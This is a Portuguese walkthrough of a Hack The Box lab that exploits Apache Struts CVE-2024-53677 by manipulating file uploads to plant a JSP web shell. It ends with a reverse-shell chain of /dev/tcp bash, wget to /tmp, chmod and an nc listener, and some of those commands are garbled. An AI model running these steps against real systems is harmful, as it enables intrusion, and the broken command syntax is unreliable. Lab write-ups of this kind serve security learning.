Passo a passo para explorar o RCE CVE-2024-53677 do Apache Struts por meio de manipulação de upload de arquivo, incluindo injeção OGNL, incorporação de payload e estabelecimento de shell reverso.
O CVE-2024-53677 é uma vulnerabilidade que afeta o Apache Struts da versão 2.0.0 até a anterior à 6.4.0. ⚠️ Isto foi explorado num laboratório Hack The Box.
A lógica de upload de arquivos no Apache Struts é falha. Um atacante pode manipular os parâmetros de upload para permitir path traversal e, em algumas circunstâncias, isso pode levar ao upload de um arquivo malicioso que pode ser usado para executar Remote Code Execution. 🔗 Referência: Entrada NIST NVD
pom.xml exposto revelou Apache Struts 6.3.0.1📸 Exposição do pom.xml:

Para explorar esta vulnerabilidade, utilizamos o BurpSuite e sua funcionalidade Repeater para modificar os pacotes antes de enviá-los. Abaixo temos uma solicitação não editada.
Nossos problemas são que o site bloqueia tipos de arquivo que não sejam [JPG, JPEG, PNG, GIF] e qualquer coisa no diretório /uploads Não é Executável. Para contornar esses problemas, primeiro adicionaremos outro parâmetro.
Após adicionar o parâmetro modificado, a resposta do servidor confirma que o arquivo foi enviado com sucesso. No entanto, notamos que o caminho do arquivo difere do diretório de upload usual.
Em seguida, incorporamos o payload anexando-o diretamente abaixo dos dados da imagem e imediatamente antes dos nossos parâmetros injetados. O payload do shell pode ser obtido 🔗 Referência: shell.jsp Além disso, um detalhe crucial é que a solicitação requer "Upload" com U maiúsculo em vez de upload minúsculo. Isso segue a estrutura do exploit observada em: 🔗 Referência: exploit.py
Com essas modificações em vigor, enviamos a solicitação. O servidor responde de forma semelhante, confirmando um upload bem-sucedido e refletindo o caminho do arquivo ajustado.
Agora, navegando para a seguinte URL, podemos interagir com o shell enviado.
ip/shelll.jsp?action=cmd&cmd=id

Nesta fase, podemos estabelecer um reverse shell usando um servidor web hospedado localmente. Uma maneira simples de fazer isso é com Python:
python3 http.server -m 3004 Next, create a basic shell script (e.g., shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh Use wget to download it wget http://ip_address/filename -O /tmp After downloading, provide execution permissions chmod +777 /tmp/filename and then use nc (netcat) to listen for the reverse shell. nc -lvnp $PORT Finally execute ./filename